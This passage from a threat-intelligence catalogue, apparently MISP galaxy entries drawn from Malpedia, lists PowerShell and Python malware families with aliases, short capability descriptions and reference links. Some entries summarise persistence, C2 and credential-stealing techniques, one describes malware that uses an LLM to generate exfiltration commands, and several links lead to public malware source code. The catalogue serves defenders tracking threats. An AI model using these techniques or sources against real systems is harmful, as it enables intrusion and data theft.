Table 2994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.rmot
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/suspected-darkhotel-apt-activity-update.html

RogueRobin

The tag is: *misp-galaxy:malpedia="RogueRobin"*

RogueRobin is also known as:

Table 2995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca
https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/

Royal Ransom (Powershell)

Toolkit downloader used by Royal Ransomware group, involving GnuPG for decryption.

The tag is: *misp-galaxy:malpedia="Royal Ransom (Powershell)"*

Royal Ransom (Powershell) is also known as:

Table 2996. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.royal_ransom
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a
https://redsense.com/publications/royal-blacksuit-how-ransomware-rebrand-reshaped-them/

Schtasks

The tag is: *misp-galaxy:malpedia="Schtasks"*

Schtasks is also known as:

Table 2997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.schtasks
https://github.com/re4lity/Schtasks-Backdoor/blob/master/Schtasks-Backdoor.ps1

SilentPrism

According to Trend Micro, SilentPrism is a backdoor malware designed to achieve persistence, dynamically execute shell commands, and maintain unauthorized remote control of compromised systems. It implements persistence mechanisms differently based on user privileges: for non-administrative users, it leverages the Windows registry to create auto-run entries using mshta.exe combined with VBScript to download and execute remote payloads; for administrative users, it deploys scheduled tasks with similar execution methods. SilentPrism retrieves additional payloads and instructions from a C&C server, ensuring modular functionality. The malware communicates with its C&C server using encrypted channels, employing AES encryption and Base64 encoding to obfuscate data. Commands received are decrypted and executed in various ways, including direct PowerShell script execution, dynamic script block creation, or job-based execution. Each task is tracked using unique identifiers, allowing the malware to monitor execution states and return results to the server. SilentPrism incorporates anti-analysis techniques such as virtual machine detection and randomized sleep intervals (ranging from 300 to 700 milliseconds) between operations, making its behavior less predictable. Additionally, it continuously polls the C&C server for commands, enabling operators to dynamically control infected systems.

The tag is: *misp-galaxy:malpedia="SilentPrism"*

SilentPrism is also known as:

Table 2998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.silent_prism

https://catalyst.prodaft.com/public/report/larva-208s-new-campaign-targets-web3-developers/overview#heading-1000
https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html

skyrat

The tag is: *misp-galaxy:malpedia="skyrat"*

skyrat is also known as:

Table 2999. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.skyrat
https://github.com/YSCHGroup/SkyRAT

sLoad

sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.

The tag is: *misp-galaxy:malpedia="sLoad"*

sLoad is also known as:

- Starslord

Table 3000. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload
https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9
https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/
https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/
https://www.cert-pa.it/notizie/campagna-sload-star-wars-edition-veicolata-via-pec/
https://threatpost.com/sload-spying-payload-delivery-bits/151120/
https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy

https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan
https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/
https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html
https://www.intrinsec.com/wp-content/uploads/2025/03/TLP-CLEAR-From-espionage-to-PsyOps-Tracking-operations-and-infrastructure-of-UACs-in-2025-EN-1.pdf
https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/
https://blog.minerva-labs.com/sload-targeting-europe-again

Snugy

The tag is: *misp-galaxy:malpedia="Snugy"*

Snugy is also known as:

Table 3001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.snugy
https://unit42.paloaltonetworks.com/atoms/hunter-serpens/
https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/

STEELHOOK

The tag is: *misp-galaxy:malpedia="STEELHOOK"*

STEELHOOK is also known as:

Table 3002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.steelhook
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2025-CTI-007.pdf
https://media.defense.gov/2025/May/21/2003719846/-1/-1/0/CSA_RUSSIAN_GRU_TARGET_LOGISTICS.PDF
https://cert.gov.ua/article/6276894

SUBTLE-PAWS

The tag is: *misp-galaxy:malpedia="SUBTLE-PAWS"*

SUBTLE-PAWS is also known as:

Table 3003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.subtle_paws
https://www.securonix.com/blog/security-advisory-steadyursa-attack-campaign-targets-ukraine-military/

Swrort Stager

The tag is: *misp-galaxy:malpedia="Swrort Stager"*

Swrort Stager is also known as:

Table 3004. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.swrort
https://github.com/itsKindred/malware-analysis-writeups/blob/master/swrort-dropper/swrort-stager-analysis.pdf

Tater PrivEsc

The tag is: *misp-galaxy:malpedia="Tater PrivEsc"*

Tater PrivEsc is also known as:

Table 3005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater
https://github.com/Kevin-Robertson/Tater

ThunderShell

The tag is: *misp-galaxy:malpedia="ThunderShell"*

ThunderShell is also known as:

Table 3006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell
https://github.com/Mr-Un1k0d3r/ThunderShell

Unidentified PS 001

Recon and exfiltration script, dropped from a LNK file. Attributed to APT-C-12.

The tag is: *misp-galaxy:malpedia="Unidentified PS 001"*

Unidentified PS 001 is also known as:

Table 3007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_001
https://bitofhex.com/2020/02/10/sapphire-mushroom-lnk-files/

Unidentified PS 002 (RAT)

A Powershell-based RAT capable of pulling further payloads, delivered through Russia-themed phishing mails.

The tag is: *misp-galaxy:malpedia="Unidentified PS 002 (RAT)"*

Unidentified PS 002 (RAT) is also known as:

Table 3008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_002
https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/
https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/

Unidentified PS 003 (RAT)

This malware is a RAT written in PowerShell. It has the following capabilities: Downloading and Uploading files, loading and execution of a PowerShell script, execution of a specific command. It was observed by Malwarebytes LABS Threat Intelligence Team in a newly discovered campaign: this campaigns tries to lure Germans with a promise of updates on the current threat situation in Ukraine according to Malwarebyte LABS.

The tag is: *misp-galaxy:malpedia="Unidentified PS 003 (RAT)"*

Unidentified PS 003 (RAT) is also known as:

Table 3009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_003

https://blog.malwarebytes.com/threat-intelligence/2022/05/custom-powershell-rat-targets-germans-seeking-information-about-the-ukraine-crisis/

Unidentified PS 004 (RAT)

The tag is: *misp-galaxy:malpedia="Unidentified PS 004 (RAT)"*

Unidentified PS 004 (RAT) is also known as:

Table 3010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_004
https://somedieyoungzz.github.io/posts/kimsucky-2/

Unidentified PS 005 (Telegram Bot)

The tag is: *misp-galaxy:malpedia="Unidentified PS 005 (Telegram Bot)"*

Unidentified PS 005 (Telegram Bot) is also known as:

Table 3011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_005
https://www.seqrite.com/blog/silent-lynx-apt-targeting-central-asian-entities/

ViperSoftX

The tag is: *misp-galaxy:malpedia="ViperSoftX"*

ViperSoftX is also known as:

Table 3012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.vipersoftx
https://decoded.avast.io/janrubin/vipersoftx-hiding-in-system-logs-and-spreading-venomsoftx/
https://www.trendmicro.com/en_us/research/23/d/vipersoftx-updates-encryption-steals-data.html
https://chris.partridge.tech/2022/evolution-of-vipersoftx-dga
https://labs.k7computing.com/index.php/in-depth-analysis-of-a-2025-vipersoftx-variant

WannaMine

The tag is: *misp-galaxy:malpedia="WannaMine"*

WannaMine is also known as:

Table 3013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine
https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/
https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/
https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry
https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/
https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf
https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/

WannaRen Downloader

The tag is: *misp-galaxy:malpedia="WannaRen Downloader"*

WannaRen Downloader is also known as:

Table 3014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannaren_loader
https://twitter.com/blackorbird/status/1247834024711577601

WMImplant

The tag is: *misp-galaxy:malpedia="WMImplant"*

WMImplant is also known as:

Table 3015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant
https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html

WRECKSTEEL

According to CERT-UA, this is a stealer targeting a range of file extensions and creating screenshots of the compromised machine to be then uploaded via cURL.

The tag is: *misp-galaxy:malpedia="WRECKSTEEL"*

WRECKSTEEL is also known as:

Table 3016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wrecksteel
https://socprime.com/blog/detect-uac-0219-attacks-against-ukrainian-state-bodies
https://socprime.com/blog/detect-uac-0219-attacks-against-ukrainian-state-bodies/
https://cip.gov.ua/services/cm/api/attachment/download?id=71278
https://cert.gov.ua/article/6282902

Akira Stealer

The tag is: *misp-galaxy:malpedia="Akira Stealer"*

Akira Stealer is also known as:

Table 3017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.akira_stealer
https://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach

AndroxGh0st

According to Laceworks, this is a SMTP cracker, which is primarily intended to scan for and parse Laravel application secrets from exposed .env files. Note: Laravel is an open source PHP framework and the Laravel .env file is often targeted for its various configuration data including AWS, SendGrid and Twilio. AndroxGh0st has multiple features to enable SMTP abuse including scanning, exploitation of exposed creds and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector.

The tag is: *misp-galaxy:malpedia="AndroxGh0st"*

AndroxGh0st is also known as:

- Androx
- AndroxGhost

Table 3018. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.androxgh0st

https://web.archive.org/web/20240715165609/https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys
https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/

Anubis Backdoor

According to Prodaft, this is a Python-based backdoor used by the Savage Ladybug (FIN7) group is developed to provide remote access, execute commands, and steal data. It is obfuscated to avoid detection.

The tag is: *misp-galaxy:malpedia="Anubis Backdoor"*

Anubis Backdoor is also known as:

Table 3019. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.anubisbackdoor
https://github.com/prodaft/malware-ioc/blob/master/SavageLadybug/AnubisBackdoor.md
https://github.com/TheRavenFile/Daily-Hunt/blob/main/Anubis%20Backdoor

Archivist

The tag is: *misp-galaxy:malpedia="Archivist"*

Archivist is also known as:

Table 3020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.archivist
https://github.com/NullArray/Archivist

Ares (Python)

Ares is a Python RAT.

The tag is: *misp-galaxy:malpedia="Ares (Python)"*

Ares (Python) is also known as:

Table 3021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.ares
https://github.com/sweetsoftware/Ares

https://www.seqrite.com/blog/operation-rusticweb-targets-indian-govt-from-rust-based-malware-to-web-service-exfiltration/

BlankGrabber

Stealer written in Python 3, typically distributed bundled via PyInstaller.

The tag is: *misp-galaxy:malpedia="BlankGrabber"*

BlankGrabber is also known as:

Table 3022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.blankgrabber
https://c-b.io/2025-02-15+-Dissecting+a+fresh+BlankGrabber+sample[https://c-b.io/2025-02-15-+Dissecting+a+fresh+BlankGrabber+sample]
https://www.linkedin.com/feed/update/urn:li:activity:7247179869443264512/
https://github.com/Blank-c/Blank-Grabber
https://labs.k7computing.com/index.php/open-source-stealers-oss-python/
https://c-b.io/blog/dissecting_blankgrabber/

Braodo

According to K7 Security Labs, Braodo Stealer is written in Python and collects all cookies and saved credentials from the browsers and all services and process information of that particular system as a zip file, which is then exfiltrated to a Telegram Channel.

The tag is: *misp-galaxy:malpedia="Braodo"*

Braodo is also known as:

Table 3023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.braodo
https://labs.k7computing.com/index.php/echoes-of-braodo-tales-from-the-cyber-underworld/

BrickerBot

The tag is: *misp-galaxy:malpedia="BrickerBot"*

BrickerBot is also known as:

Table 3024. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot
https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/
https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A
http://seclists.org/fulldisclosure/2017/Mar/7
https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/
https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/
https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/
http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f

CHERRYSPY

According to CERT-UA, this is a PyArmor-protected backdoor capable of execution dynamically downloaded Python code.

The tag is: *misp-galaxy:malpedia="CHERRYSPY"*

CHERRYSPY is also known as:

Table 3025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.cherryspy
https://www.recordedfuture.com/research/russia-aligned-tag-110-targets-tajikistan-with-macro-enabled
https://cert.gov.ua/article/4697016
https://go.recordedfuture.com/hubfs/reports/cta-2025-0522.pdf

Creal Stealer

Creal is an open-source grabber/credential stealer that was originally made by a GitHub user named Ayhuuu, who even advertised a "premium" version on his now-deleted Telegram channel @Crealstealer. To the day of release, it was already not FUD, but its open-source nature made it attractive for threat actors to modify the base malware and even obfuscate it for less detection ratios. The base project came with a compiler, and the general source code the compiler used was PyInstaller for compilation into native formats like exe. For C2, Discord webhooks were utilized, which in later versions got protected with a service called https://stealer.to to make deletion not possible.

It Compromised following Data on Execution:

- Discord Information

- Browser Data
- Crypto Related Data
- Steam
- Riot Games
- Telegram
- System Information
- Tokens/Secrets

The tag is: *misp-galaxy:malpedia="Creal Stealer"*

Creal Stealer is also known as:

Table 3026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.creal_stealer
https://cyble.com/blog/creal-new-stealer-targeting-cryptocurrency-users-via-phishing-sites/

DropboxC2C

The tag is: *misp-galaxy:malpedia="DropboxC2C"*

DropboxC2C is also known as:

Table 3027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.dropboxc2c
https://github.com/0x09AL/DropboxC2C

Empyrean

Discord Stealer written in Python with Javascript-based inject files.

The tag is: *misp-galaxy:malpedia="Empyrean"*

Empyrean is also known as:

Table 3028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.empyrean
https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord

Evil Ant

Ransomware written in Python.

The tag is: *misp-galaxy:malpedia="Evil Ant"*

Evil Ant is also known as:

Table 3029. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.evil_ant
https://labs.k7computing.com/index.php/python-ciphering-delving-into-evil-ants-ransomwares-tactics/

Guard

According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.

The tag is: *misp-galaxy:malpedia="Guard"*

Guard is also known as:

Table 3030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.guard
https://securelist.com/wildpressure-targets-macos/103072/

InvisibleFerret

The tag is: *misp-galaxy:malpedia="InvisibleFerret"*

InvisibleFerret is also known as:

Table 3031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.invisibleferret
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q4-2024-q1-2025.pdf
https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/

https://opensourcemalware.com/blog/contagious-interview-vscode

https://www.bitdefender.com/en-us/blog/labs/lazarus-group-targets-organizations-with-sophisticated-linkedin-recruiting-scam

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages

https://github.com/ssrdio/PublicIoC/tree/main/CestLaVie

https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf

https://www-cdn.anthropic.com/b2a76c6f6992465c09a6f2fce282f6c0cea8c200.pdf

https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/

https://socket.dev/blog/north-korean-contagious-interview-campaign-drops-35-new-malicious-npm-packages

https://any.run/cybersecurity-blog/ottercookie-malware-analysis/

https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/

https://socket.dev/blog/north-korean-apt-lazarus-targets-developers-with-malicious-npm-package

https://medium.com/deriv-tech/how-a-fake-ai-recruiter-delivers-five-staged-malware-disguised-as-a-dream-job-64cc68fec263

https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/

https://objective-see.org/blog/blog_0x7A.html

https://securityscorecard.com/blog/the-job-offer-that-wasnt-how-we-stopped-an-espionage-plot

https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

https://security.macnica.co.jp/blog/2024/10/-contagious-interview.html

https://www.cert.si/tz016/

https://securitylabs.datadoghq.com/articles/tenacious-pungsan-dprk-threat-actor-contagious-interview/

https://doi.org/10.48550/arXiv.2505.21725

https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket

https://jp.security.ntt/tech_blog/contagious-interview-ottercookie

https://www.group-ib.com/blog/apt-lazarus-python-scripts/

https://quetzal.bitso.com/p/interview-with-the-chollima

https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/

https://stacklok.com/blog/dependency-hijacking-dissecting-north-koreas-new-wave-of-defi-themed-open-source-attacks-targeting-developers
https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages
https://securityscorecard.com/blog/operation-phantom-circuit-north-koreas-global-data-exfiltration-campaign/
https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2
https://blog.talosintelligence.com/beavertail-and-ottercookie/
https://jp.security.ntt/tech_blog/en-waterplum-ottercookie
https://web.archive.org/web/20250206220041/https://stacklok.com/blog/dependency-hijacking-dissecting-north-koreas-new-wave-of-defi-themed-open-source-attacks-targeting-developers
https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat
https://www.silentpush.com/blog/contagious-interview-front-companies/
https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/

KeyPlexer

The tag is: *misp-galaxy:malpedia="KeyPlexer"*

KeyPlexer is also known as:

Table 3032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.keyplexer
https://github.com/nairuzabulhul/KeyPlexer

LAMEHUG

According to CERT-UA, LAMEHUG uses an LLM (Qwen) to dynamically generate commands to gather basic information about a computer and recursively exfiltrate Office documents from a set of folders, to be uploaded either by SFTP or HTTP POST requests.

The tag is: *misp-galaxy:malpedia="LAMEHUG"*

LAMEHUG is also known as:

Table 3033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lamehug
https://cert.gov.ua/article/6284730
https://www.catonetworks.com/blog/cato-ctrl-threat-research-analyzing-lamehug/

LaZagne

The author described LaZagne as an open source project used to retrieve lots of passwords stored on a local computer. It has been developed for the purpose of finding these passwords for the most commonly-used software. It is written in Python and provided as compiled standalone binaries for Linux, Mac, and Windows.

The tag is: *misp-galaxy:malpedia="LaZagne"*

LaZagne is also known as:

Table 3034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne
https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf
https://www.mandiant.com/resources/blog/alphv-ransomware-backup
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/
https://github.com/AlessandroZ/LaZagne
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/
https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia
https://attack.mitre.org/groups/G0100
https://www.infinitumit.com.tr/apt-35/
https://attack.mitre.org/groups/G0100/
https://fourcore.io/blogs/threat-hunting-browser-credential-stealing
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

Lofy

The tag is: *misp-galaxy:malpedia="Lofy"*

Lofy is also known as:

- LofyLife

Table 3035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lofy
https://securelist.com/lofylife-malicious-npm-packages/107014/

Loki RAT

This RAT written in Python is an open-source fork of the Ares RAT. This malware integrates additional modules, like recording, lockscreen, and locate options. It was used in a customized form version by El Machete APT in an ongoing champaign since 2020. The original code can be found at: https://github.com/TheGeekHT/Loki.Rat/

The tag is: *misp-galaxy:malpedia="Loki RAT"*

Loki RAT is also known as:

Table 3036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lokirat
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Sood-Compromising-the-Keys-to-the-Kingdom.pdf
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/
https://www.youtube.com/watch?v=6Ljl1Rnl1jM

Luna Grabber

The tag is: *misp-galaxy:malpedia="Luna Grabber"*

Luna Grabber is also known as:

Table 3037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lunagrabber
https://www.darkreading.com/vulnerabilities-threats/luna-grabber-malware-targets-roblox-gaming-devs

MASEPIE

The tag is: *misp-galaxy:malpedia="MASEPIE"*

MASEPIE is also known as:

Table 3038. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.masepie
https://cert.gov.ua/article/6276894
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2025-CTI-007.pdf
https://harfanglab.io/en/insidethelab/compromised-routers-infrastructure-target-europe-caucasus/
https://media.defense.gov/2025/May/21/2003719846/-1/-1/0/CSA_RUSSIAN_GRU_TARGET_LOGISTICS.PDF
https://thehackernews.com/2024/03/apt28-hacker-group-targeting-europe.html?m=1

N3Cr0m0rPh

An IRC bot written in (obfuscated) Python code. Distributed in attack campaign FreakOut, written by author Freak/Fl0urite and development potentially dating back as far as 2015.

The tag is: *misp-galaxy:malpedia="N3Cr0m0rPh"*

N3Cr0m0rPh is also known as:

- FreakOut
- Necro

Table 3039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph
https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
https://www.bleepingcomputer.com/news/security/freakout-malware-worms-its-way-into-vulnerable-vmware-servers/
https://www.lacework.com/blog/the-kek-security-network/
https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/
https://twitter.com/xuy1202/status/1393384128456794116
https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html
https://twitter.com/xuy1202/status/1392089568384454657
https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/
https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr
https://blog.netlab.360.com/necro/

https://github.com/lacework/lacework-labs/tree/master/keksec
https://www.lacework.com/keksec-tsunami-ryuk/
https://www.lacework.com/the-kek-security-network/
https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/
https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/

NetWorm

The tag is: *misp-galaxy:malpedia="NetWorm"*

NetWorm is also known as:

Table 3040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.networm
https://github.com/pylyf/NetWorm

NightshadeC2 (Python)

According to eSentire, NightshadeC2 demonstrates an extensive capability set, including: Reverse shell via Command Prompt/PowerShell; Download and execute DLL or EXE; Self-deletion; Remote control; Screen capture; Hidden web browsers; Keylogging; clipboard content capturing. Certain variants have been found with stealing capabilities that enable the extraction of browser passwords and cookies from victim systems for both Gecko and Chromium based browsers.

The tag is: *misp-galaxy:malpedia="NightshadeC2 (Python)"*

NightshadeC2 (Python) is also known as:

Table 3041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.nightshade_c2
https://www.esentire.com/blog/new-botnet-emerges-from-the-shadows-nightshadec2

PIRAT

The tag is: *misp-galaxy:malpedia="PIRAT"*

PIRAT is also known as:

Table 3042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pirat

https://vk.com/m228228?w=wall306895781_177

Poet RAT

Cisco Talos has discovered a Python-based RAT they call Poet RAT. It is dropped from a Word document and delivered including a Python interpreter and required libraries. The name originates from references to Shakespeare. Exfiltration happens through FTP.

The tag is: *misp-galaxy:malpedia="Poet RAT"*

Poet RAT is also known as:

Table 3043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.poet_rat
https://blog.talosintelligence.com/2020/10/poetrat-update.html
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-stibnite/
https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/

poweRAT

The tag is: *misp-galaxy:malpedia="poweRAT"*

poweRAT is also known as:

Table 3044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.powerat
https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi

pupy (Python)

The tag is: *misp-galaxy:malpedia="pupy (Python)"*

pupy (Python) is also known as:

Table 3045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf
https://github.com/n1nj4sec/pupy

PXA Stealer

